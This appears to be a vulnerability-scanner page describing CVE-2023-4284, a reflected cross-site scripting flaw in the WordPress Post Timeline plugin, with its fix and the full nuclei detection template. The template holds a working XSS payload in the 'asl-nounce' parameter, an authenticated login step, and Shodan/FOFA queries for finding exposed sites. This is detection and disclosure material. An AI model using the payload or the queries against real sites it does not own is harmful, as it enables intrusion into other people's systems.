WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting

highseverity

7.1CVSS score

0.8%likelihood of exploitation, next 30 days

56%of all CVEs are less likely

Readycheck to confirm it

The Post Timeline WordPress plugin before version 2.2.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape an invalid nonce before outputting it back in an AJAX response, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

Impact

Authenticated attackers can inject malicious JavaScript through an invalid nonce parameter in AJAX responses to execute code in administrator browsers and potentially hijack WordPress sites.

Fix

Update Post Timeline plugin to version 2.2.6 or later that properly sanitizes and escapes the nonce parameter in AJAX responses.

How to confirm it

Send: GET /
Positive when: contains "post-timeline"
Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E
Positive when: contains "<img src onerror=alert(document.domain)" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-4284 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-4284

info:
  name: WordPress Post Timeline Plugin < 2.2.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The Post Timeline WordPress plugin before version 2.2.6 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape an invalid nonce before outputting it back in an AJAX response, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Authenticated attackers can inject malicious JavaScript through an invalid nonce parameter in AJAX responses to execute code in administrator browsers and potentially hijack WordPress sites.
  remediation: |
    Update Post Timeline plugin to version 2.2.6 or later that properly sanitizes and escapes the nonce parameter in AJAX responses.
  reference:
    - https://wpscan.com/vulnerability/1c126869-0afa-456f-94cc-10334964e5f9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2023-4284
    cwe-id: CWE-79
    epss-score: 0.00759
    epss-percentile: 0.55581
    cpe: cpe:2.3:a:agilelogix:post_timeline:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: agilelogix
    product: post-timeline
    shodan-query: http.html:"wp-content/plugins/post-timeline/"
    fofa-query: body="wp-content/plugins/post-timeline/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,post-timeline,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - 'post-timeline'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=%3Cimg%20src%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(document.domain)'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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